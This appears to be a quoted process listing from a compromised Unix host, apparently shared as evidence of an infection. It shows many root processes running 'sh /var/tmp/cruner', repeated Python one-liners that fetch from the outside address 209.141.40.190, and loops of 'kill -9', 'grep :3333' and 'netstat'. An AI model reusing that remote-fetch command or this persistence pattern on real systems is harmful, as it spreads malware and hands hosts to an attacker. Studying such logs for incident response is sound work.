<defunct> > root 826 18942 0 15:44:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1796 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 22871 11103 0 15:44:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22008 9965 0 - ? 0:00 <defunct> > root 27801 15389 0 15:46:05 ? 0:00 sleep 60 > root 14433 4816 0 - ? 0:00 <defunct> > root 20823 21847 0 15:43:57 ? 0:00 bash -sh > root 875 1827 0 15:44:55 ? 0:00 bash -sh > root 33 13063 0 15:45:44 ? 0:00 bash -sh > root 6483 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10303 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3639 28503 0 15:43:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26483 24240 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8907 8164 0 - ? 0:00 <defunct> > root 27042 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11968 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1435 1414 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7432 9409 0 15:43:43 ? 0:00 bash -sh > root 12022 11623 0 15:44:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 211 22348 0 - ? 0:00 <defunct> > root 3857 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1455 17343 0 15:45:48 ? 0:00 sleep 60 > root 28751 28719 0 - ? 0:00 <defunct> > root 8754 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26232 6167 0 - ? 0:00 <defunct> > root 2751 26304 0 15:46:06 ? 0:00 sleep 60 > root 7421 16459 0 - ? 0:00 <defunct> > root 13182 11460 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 20917 14504 0 15:45:42 ? 0:00 sh /var/tmp/cruner > root 17560 13451 0 15:45:37 ? 0:00 sleep 60 > root 26799 28636 0 - ? 0:00 <defunct> > root 25501 6946 0 15:45:13 ? 0:00 bash -sh > root 6482 11336 0 15:45:20 ? 0:00 sleep 60 > root 5462 6031 0 15:46:06 ? 0:00 sleep 60 > root 13636 6430 0 - ? 0:00 <defunct> > root 25960 1052 0 - ? 0:00 <defunct> > root 18563 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1482 4549 0 15:45:14 ? 0:00 bash -sh > root 19707 12800 0 15:45:51 ? 0:00 xargs kill -9 > root 16030 14221 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 2622 20712 0 15:45:35 ? 0:00 bash -sh > root 14980 11464 0 15:46:13 ? 0:00 netstat -antp > root 27654 26689 0 15:45:47 ? 0:00 bash -sh > root 3568 6787 0 15:45:48 ? 0:00 sleep 60 > root 3168 8524 0 15:45:19 ? 0:00 sleep 60 > root 19163 6373 0 - ? 0:00 <defunct> > root 26241 15969 0 15:45:07 ? 0:00 bash -sh > root 13977 3838 0 15:45:21 ? 0:00 sleep 60 > root 17202 18472 0 15:44:52 ? 0:00 bash -sh > root 28904 17083 0 15:45:34 ? 0:00 sleep 60 > root 29080 8108 0 15:45:14 ? 0:00 bash -sh > root 24809 22968 0 15:43:58 ? 0:00 bash -sh > root 5574 24021 0 - ? 0:00 <defunct> > root 29836 11328 0 - ? 0:00 <defunct> > root 29695 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19323 14156 0 - ? 0:00 <defunct> > root 12117 1542 0 15:45:36 ? 0:00 bash -sh > root 14176 11690 0 15:46:13 ? 0:00 bash -sh > root 12085 13980 0 15:45:25 ? 0:00 sleep 60 > root 22680 15576 0 - ? 0:00 <defunct> > root 18800 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29809 29803 0 15:46:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15240 11054 0 15:46:00 ? 0:00 bash -sh > root 18629 25569 0 - ? 0:00 <defunct> > root 4291 3147 0 15:45:54 ? 0:00 bash -sh > root 961 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18876 875 0 - ? 0:00 <defunct> > root 2064 10763 0 15:45:39 ? 0:00 bash -sh > root 3865 18296 0 15:45:04 ? 0:00 bash -sh > root 14663 25418 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9205 9201 0 15:44:24 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27990 9405 0 - ? 0:00 <defunct> > root 8623 13255 0 15:45:20 ? 0:00 sleep 60 > root 22116 4505 0 - ? 0:00 <defunct> > root 7943 6535 0 15:45:49 ? 0:00 sleep 60 > root 12330 14696 0 15:45:59 ? 0:00 xargs kill -9 > root 5177 18485 0 - ? 0:00 <defunct> > root 20521 23597 0 15:45:12 ? 0:00 bash -sh > root 25177 10212 0 15:46:10 ? 0:00 sleep 60 > root 19168 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23299 1258 0 - ? 0:00 <defunct> > root 27711 27685 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27968 26413 0 15:45:43 ? 0:00 /bin/ksh -p /bin/kill -9 > root 13128 18797 0 15:43:27 ? 0:00 bash -sh > root 3274 5492 0 - ? 0:00 <defunct> > root 22961 7689 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 14865 13625 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 19054 11287 0 - ? 0:00 <defunct> > root 1154 7920 0 15:45:19 ? 0:00 sleep 60 > root 27670 20528 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 14118 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5129 13233 0 15:45:35 ? 0:00 sleep 60 > root 16587 29499 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 276 23027 0 15:45:18 ? 0:00 sleep 60 > root 1470 19137 0 - ? 0:00 <defunct> > root 29261 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5005 18936 0 - ? 0:00 <defunct> > root 6723 28533 0 15:45:49 ? 0:00 sleep 60 > root 9859 25094 0 15:46:07 ? 0:00 sleep 60 > root 20196 21054 0 15:45:52 ? 0:00 bash -sh > root 2279 22468 0 15:45:53 ? 0:00 sleep 60 > root 29388 672 0 15:45:03 ? 0:00 bash -sh > root 14135 21015 0 15:46:13 ? 0:00 bash -sh > root 15770 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22912 18999 0 15:44:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9083 8502 0 15:45:40 ? 0:00 xargs kill -9 > root 26140 26134 0 15:45:34 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8763 8719 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3971 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29507 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9141 15078 0 - ? 0:00 <defunct> > root 25189 11565 0 15:45:52 ? 0:00 sleep 60 > root 1032 19669 0 15:45:27 ? 0:00 sleep 60 > root 21367 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8439 16296 0 15:46:07 ? 0:00 sleep 60 > root 2058 14881 0 15:45:19 ? 0:00 sleep 60 > root 1253 1206 0 15:46:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21179 20776 0 - ? 0:00 <defunct> > root 27871 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 209 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18204 28859 0 15:46:13 ? 0:00 bash -sh > root 16218 15082 0 15:46:00 ? 0:00 bash -sh > root 3577 25474 0 15:45:40 ? 0:00 xargs kill -9 > root 24009 6829 0 15:45:43 ? 0:00 sleep 60 > root 24814 3658 0 - ? 0:00 <defunct> > root 25359 6491 0 15:45:39 ? 0:00 bash -sh > root 16948 3171 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 6248 13536 0 - ? 0:00 <defunct> > root 358 27784 0 15:44:22 ? 0:00 bash -sh > root 29901 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 27737 7881 0 15:44:21 ? 0:00 bash -sh > root 9569 14483 0 15:43:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23890 6443 0 15:45:52 ? 0:00 xargs kill -9 > root 24031 15800 0 15:46:10 ? 0:00 sed -e s/\/.*//g > root 26724 9027 0 15:45:18 ? 0:00 sleep 60 > root 29634 24012 0 15:44:28 ? 0:00 bash -sh > root 19471 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 27939 26568 0 15:45:18 ? 0:00 sleep 60 > root 21106 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7881 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20013 11981 0 15:46:00 ? 0:00 xargs kill -9 > root 12724 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 3676 1772 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15967 28776 0 15:45:26 ? 0:00 sleep 60 > root 9953 4325 0 - ? 0:00 <defunct> > root 920 16428 0 15:43:07 ? 0:00 bash -sh > root 22956 17422 0 - ? 0:00 <defunct> > root 25893 25854 0 15:45:30 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29898 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5579 18634 0 - ? 0:00 <defunct> > root 24677 29674 0 - ? 0:00 <defunct> > root 13553 16097 0 15:45:41 ? 0:00 xargs kill -9 > root 14742 8666 0 15:46:00 ? 0:00 bash -sh > root 27636 20204 0 15:45:34 ? 0:00 sleep 60 > root 23581 17222 0 15:46:10 ? 0:00 xargs kill -9 > root 23252 5630 0 15:46:01 ? 0:00 bash -sh > root 9682 9281 0 15:45:41 ? 0:00 xargs kill -9 > root 16895 1 0 16:42:52 ? 0:01 sh /var/tmp/cruner > root 9326 23956 0 15:46:12 ? 0:00 grep :3333 > root 6306 18314 0 15:45:20 ? 0:00 sleep 60 > root 16556 11237 0 - ? 0:00 <defunct> > root 27126 17085 0 - ? 0:00 <defunct> > root 20434 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16415 12228 0 15:43:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6513 13174 0 15:46:06 ? 0:00 sleep 60 > root 24627 21511 0 15:45:13 ? 0:00 bash -sh > root 15571 12223 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 5245 28662 0 15:45:20 ? 0:00 bash -sh > root 4904 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16687 1487 0 15:45:16 ? 0:00 sleep 60 > root 19408 8883 0 - ? 0:00 <defunct> > root 10695 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28687 3285 0 15:45:53 ? 0:00 bash -sh > root 16834 23232 0 - ? 0:00 <defunct> > root 26343 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13077 23713 0 15:45:29 ? 0:00 sleep 60 > root 10391 29479 0 15:45:50 ? 0:00 bash -sh > root 28733 27633 0 15:44:49 ? 0:00 bash -sh > root 25703 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2444 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23585 28486 0 - ? 0:00 <defunct> > root 23877 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23520 1230 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 1163 24435 0 15:45:34 ? 0:00 sleep 60 > root 5859 5748 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17430 23566 0 15:46:13 ? 0:00 bash -sh > root 28421 8068 0 15:46:05 ? 0:00 bash -sh > root 11185 16322 0 - ? 0:00 <defunct> > root 24597 14570 0 15:46:10 ? 0:00 sleep 60 > root 7065 2064 0 - ? 0:00 <defunct> > root 26179 24883 0 15:45:27 ? 0:00 sleep 60 > root 435 27261 0 15:45:34 ? 0:00 bash -sh > root 15170 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19668 28628 0 15:46:09 ? 0:00 bash -sh > root 3266 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 17832 17084 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 24081 25324 0 15:45:57 ? 0:00 sleep 60 > root 6777 845 0 15:45:54 ? 0:00 bash -sh > root 15038 10068 0 15:44:52 ? 0:00 bash -sh > root 4297 1553 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16938 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 27531 16193 0 - ? 0:00 <defunct> > root 5959 29295 0 15:45:49 ? 0:00 bash -sh > root 27179 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23131 23110 0 15:45:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10282 9335 0 15:45:41 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20977 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13053 23987 0 - ? 0:00 <defunct> > root 17204 17656 0 15:46:08 ? 0:00 sleep 60 > root 13507 25173 0 - ? 0:00 <defunct> > root 3494 24409 0 - ? 0:00 <defunct> > root 218 8588 0 15:45:18 ? 0:00 bash -sh > root 19165 10025 0 - ? 0:00 <defunct> > root 25847 23153 0 - ? 0:00 <defunct> > root 23942 15800 0 - ? 0:00 <defunct> > root 7046 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19033 1194 0 15:45:42 ? 0:00 sleep 60 > root 945 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4784 24286 0 15:44:03 ? 0:00 bash -sh > root 1033 3771 0 15:45:19 ? 0:00 bash -sh > root 22694 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 23603 13559 0 15:46:05 ? 0:00 sleep 60 > root 10997 27138 0 15:45:28 ? 0:00 sleep 60 > root 21814 6292 0 15:45:29 ? 0:00 sleep 60 > root 7455 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5410 25538 0 - ? 0:00 <defunct> > root 29 1566 0 - ? 0:00 <defunct> > root 11766 3287 0 15:45:59 ? 0:00 bash -sh > root 12299 11273 0 15:44:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8862 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13202 18122 0 15:45:29 ? 0:00 sleep 60 > root 21598 20239 0 15:44:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3294 28336 0 15:45:58 ? 0:00 sleep 60 > root 15148 8201 0 15:46:08 ? 0:00 bash -sh > root 2942 20606 0 15:45:40 ? 0:00 xargs kill -9 > root 22535 11828 0 15:45:06 ? 0:00 bash -sh > root 3113 9283 0 15:46:06 ? 0:00 sleep 60 > root 27757 27656 0 15:44:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13770 28818 0 15:44:43 ? 0:00 bash -sh > root 21359 19579 0 - ? 0:00 <defunct> > root 15806 23338 0 15:46:13 ? 0:00 bash -sh > root 5664 25727 0 15:45:31 ? 0:00 sleep 60 > root 855 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4534 4516 0 15:44:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17452 5570 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 6079 11229 0 15:45:40 ? 0:00 xargs kill -9 > root 7229 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16412 16397 0 15:44:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24755 17976 0 15:46:01 ? 0:00 bash -sh > root 27236 14569 0 15:45:03 ? 0:00 bash -sh > root 909 11786 0 15:45:44 ? 0:00 bash -sh > root 3164 14769 0 - ? 0:00 <defunct> > root 20692 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 14229 9869 0 - ? 0:00 <defunct> > root 1394 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7430 22229 0 15:45:36 ? 0:00 bash -sh > root 11686 24722 0 15:45:59 ? 0:00 bash -sh > root 1497 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12068 11791 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3413 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8424 27943 0 15:45:31 ? 0:00 bash -sh > root 25052 24310 0 15:45:47 ? 0:00 sleep 60 > root 915 23988 0 15:45:27 ? 0:00 bash -sh > root 15599 21616 0 15:46:00 ? 0:00 bash -sh > root 5547 18706 0 15:45:44 ? 0:00 bash -sh > root 27170 25756 0 15:45:18 ? 0:00 sleep 60 > root 20814 27439 0 15:45:17 ? 0:00 sleep 60 > root 15442 11528 0 - ? 0:00 <defunct> > root 9169 3965 0 15:45:45 ? 0:00 bash -sh > root 15052 21234 0 - ? 0:00 <defunct> > root 13630 7660 0 15:45:45 ? 0:00 xargs kill -9 > root 23697 12398 0 15:45:43 ? 0:00 sleep 60 > root 5250 20155 0 15:45:58 ? 0:00 sleep 60 > root 5286 23951 0 - ? 0:00 <defunct> > root 9316 20303 0 - ? 0:00 <defunct> > root 22496 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6716 8438 0 15:45:58 ? 0:00 bash -sh > root 5258 19357 0 15:46:06 ? 0:00 sleep 60 > root 16079 12373 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 9734 17770 0 15:46:07 ? 0:00 sleep 60 > root 18005 17999 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25486 15249 0 15:45:13 ? 0:00 bash -sh > root 1372 13318 0 15:46:11 ? 0:00 sleep 60 > root 16768 14023 0 - ? 0:00 <defunct> > root 9410 15397 0 15:45:54 ? 0:00 sleep 60 > root 14808 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25119 20013 0 15:46:01 ? 0:00 /bin/ksh -p /bin/kill -9 > root 17228 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28414 21649 0 - ? 0:00 <defunct> > root 21671 19297 0 15:44:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9111 19047 0 15:46:07 ? 0:00 sleep 60 > root 3276 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28575 26131 0 15:45:18 ? 0:00 sleep 60 > root 10447 22820 0 15:45:50 ? 0:00 bash -sh > root 28960 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23158 21003 0 15:46:01 ? 0:00 bash -sh > root 13838 1365 0 15:45:29 ? 0:00 sleep 60 > root 23230 25068 0 15:46:01 ? 0:00 bash -sh > root 28004 397 0 15:45:34 ? 0:00 sleep 60 > root 12996 24650 0 15:46:08 ? 0:00 sleep 60 > root 3850 169 0 15:45:54 ? 0:00 bash -sh > root 28113 14995 0 15:45:47 ? 0:00 sleep 60 > root 1073 7138 0 15:45:48 ? 0:00 sleep 60 > root 15788 13578 0 15:44:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7922 19202 0 - ? 0:00 <defunct> > root 23993 5340 0 15:45:43 ? 0:00 sleep 60 > root 10937 28128 0 15:46:07 ? 0:00 sleep 60 > root 21939 24938 0 15:44:53 ? 0:00 bash -sh > root 18362 20382 0 15:45:42 ? 0:00 bash -sh > root 8788 8785 0 15:45:45 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9907 1136 0 15:46:07 ? 0:00 sleep 60 > root 5333 25004 0 - ? 0:00 <defunct> > root 3691 20255 0 15:45:48 ? 0:00 sleep 60 > root 7367 16077 0 15:45:49 ? 0:00 xargs kill -9 > root 20690 6447 0 15:45:42 ? 0:00 sleep 60 > root 28563 25868 0 15:45:14 ? 0:00 sleep 60 > root 10146 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28740 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13305 7266 0 15:45:05 ? 0:00 bash -sh > root 21421 4030 0 15:44:53 ? 0:00 bash -sh > root 11307 9124 0 - ? 0:00 <defunct> > root 7895 7862 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6704 23987 0 - ? 0:00 <defunct> > root 15493 16976 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21335 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28583 17028 0 15:42:51 ? 0:00 bash -sh > root 24482 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 980 20168 0 - ? 0:00 <defunct> > root 13867 2041 0 15:46:13 ? 0:00 awk {print $7} > root 29079 1762 0 15:45:34 ? 0:00 sleep 60 > root 7522 13689 0 15:46:07 ? 0:00 bash -sh > root 20880 26136 0 15:43:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18413 1055 0 15:46:09 ? 0:00 sleep 60 > root 28221 14254 0 15:45:34 ? 0:00 sleep 60 > root 22199 3805 0 15:43:04 ? 0:00 bash -sh > root 17755 25833 0 15:44:57 ? 0:00 bash -sh > root 5246 26981 0 15:42:52 ? 0:00 bash -sh > root 19014 24275 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 21137 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22329 19789 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 24593 22930 0 15:43:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20744 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27461 8174 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 189 7088 0 15:43:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26652 20657 0 15:45:34 ? 0:00 sleep 60 > root 29840 5045 0 15:46:02 ? 0:00 bash -sh > root 17012 6705 0 - ? 0:00 <defunct> > root 16786 6438 0 15:44:52 ? 0:00 bash -sh > root 20147 22761 0 - ? 0:00 <defunct> > root 1692 8607 0 15:45:31 ? 0:00 sleep 60 > root 7567 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12698 6935 0 15:45:50 ? 0:00 bash -sh > root 7059 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11173 2550 0 15:46:07 ? 0:00 sleep 60 > root 15945 24458 0 15:45:56 ? 0:00 xargs kill -9 > root 18748 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14804 24614 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 15720 16303 0 15:45:51 ? 0:00 bash -sh > root 12293 29174 0 - ? 0:00 <defunct> > root 25102 5755 0 15:44:49 ? 0:00 bash -sh > root 15511 7374 0 - ? 0:00 <defunct> > root 15978 1942 0 15:46:13 ? 0:00 bash -sh > root 6890 13179 0 - ? 0:00 <defunct> > root 16256 16239 0 - ? 0:00 <defunct> > root 7630 1153 0 - ? 0:00 <defunct> > root 20426 5988 0 15:45:06 ? 0:00 bash -sh > root 10389 14405 0 15:44:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19827 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4689 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12621 12617 0 15:42:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11333 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10238 29119 0 15:45:50 ? 0:00 sh /var/tmp/cruner > root 18878 28919 0 15:45:12 ? 0:00 bash -sh > root 4478 13492 0 15:46:06 ? 0:00 sleep 60 > root 26556 25725 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 8218 5839 0 15:46:07 ? 0:00 bash -sh > root 26422 28417 0 15:45:53 ? 0:00 bash -sh > root 5996 22283 0 - ? 0:00 <defunct> > root 9812 2046 0 15:46:07 ? 0:00 sleep 60 > root 9348 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8453 19956 0 15:46:07 ? 0:00 bash -sh > root 3472 1 0 01:59:43 ? 0:00 sh /var/tmp/cruner > root 14870 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21461 6839 0 - ? 0:00 <defunct> > root 1736 29131 0 15:44:22 ? 0:00 bash -sh > root 23971 23957 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4209 2743 0 15:45:58 ? 0:00 bash -sh > root 19552 26900 0 15:45:12 ? 0:00 bash -sh > root 3959 5877 0 - ? 0:00 <defunct> > root 10545 11528 0 15:46:12 ? 0:00 xargs kill -9 > root 8566 14363 0 15:45:58 ? 0:00 sleep 60 > root 25947 23494 0 - ? 0:00 <defunct> > root 4277 649 0 15:43:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15207 22340 0 15:46:00 ? 0:00 sleep 60 > root 4470 24281 0 15:45:44 ? 0:00 sleep 60 > root 17350 15997 0 15:45:29 ? 0:00 bash -sh > root 11263 15865 0 - ? 0:00 <defunct> > root 24865 24859 0 15:44:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17282 8358 0 15:45:56 ? 0:00 xargs kill -9 > root 25253 1 0 17:07:44 ? 0:01 sh /var/tmp/cruner > root 13343 12146 0 15:46:08 ? 0:00 sleep 60 > root 13199 7044 0 15:46:13 ? 0:00 bash -sh > root 8336 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27673 1 0 17:00:55 ? 0:01 sh /var/tmp/cruner > root 24741 22355 0 - ? 0:00 <defunct> > root 17481 17205 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13604 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4651 2228 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19635 25930 0 15:44:53 ? 0:00 bash -sh > root 25482 14060 0 - ? 0:00 <defunct> > root 29642 7983 0 15:45:03 ? 0:00 bash -sh > root 26425 6663 0 15:45:43 ? 0:00 sleep 60 > root 22348 4201 0 15:43:40 ? 0:00 bash -sh > root 1711 13385 0 - ? 0:00 <defunct> > root 4995 9555 0 15:43:31 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3136 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18965 27695 0 15:45:56 ? 0:00 xargs kill -9 > root 16734 9650 0 15:45:51 ? 0:00 bash -sh > root 4404 7628 0 15:44:50 ? 0:00 bash -sh > root 105 18352 0 15:45:27 ? 0:00 sleep 60 > root 23779 11972 0 15:45:57 ? 0:00 xargs kill -9 > root 14326 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8606 4686 0 15:46:07 ? 0:00 sleep 60 > root 3858 10283 0 15:45:58 ? 0:00 sleep 60 > root 24382 13297 0 - ? 0:00 <defunct> > root 23977 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16246 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26915 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6450 5575 0 15:45:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10334 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11842 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8988 1561 0 15:46:12 ? 0:00 bash -sh > root 4539 25679 0 - ? 0:00 <defunct> > root 15508 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23850 20072 0 15:45:43 ? 0:00 sleep 60 > root 142 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23459 21339 0 - ? 0:00 <defunct> > root 26564 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13510 13498 0 - ? 0:00 <defunct> > root 21136 20462 0 15:45:52 ? 0:00 bash -sh > root 11723 11686 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13836 14304 0 15:46:13 ? 0:00 bash -sh > root 24614 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28510 1053 0 15:45:27 ? 0:00 sleep 60 > root 11093 3814 0 15:45:28 ? 0:00 sleep 60 > root 23479 23340 0 15:44:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8681 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27515 11009 0 - ? 0:00 <defunct> > root 4232 29613 0 15:46:06 ? 0:00 sleep 60 > root 10963 7122 0 - ? 0:00 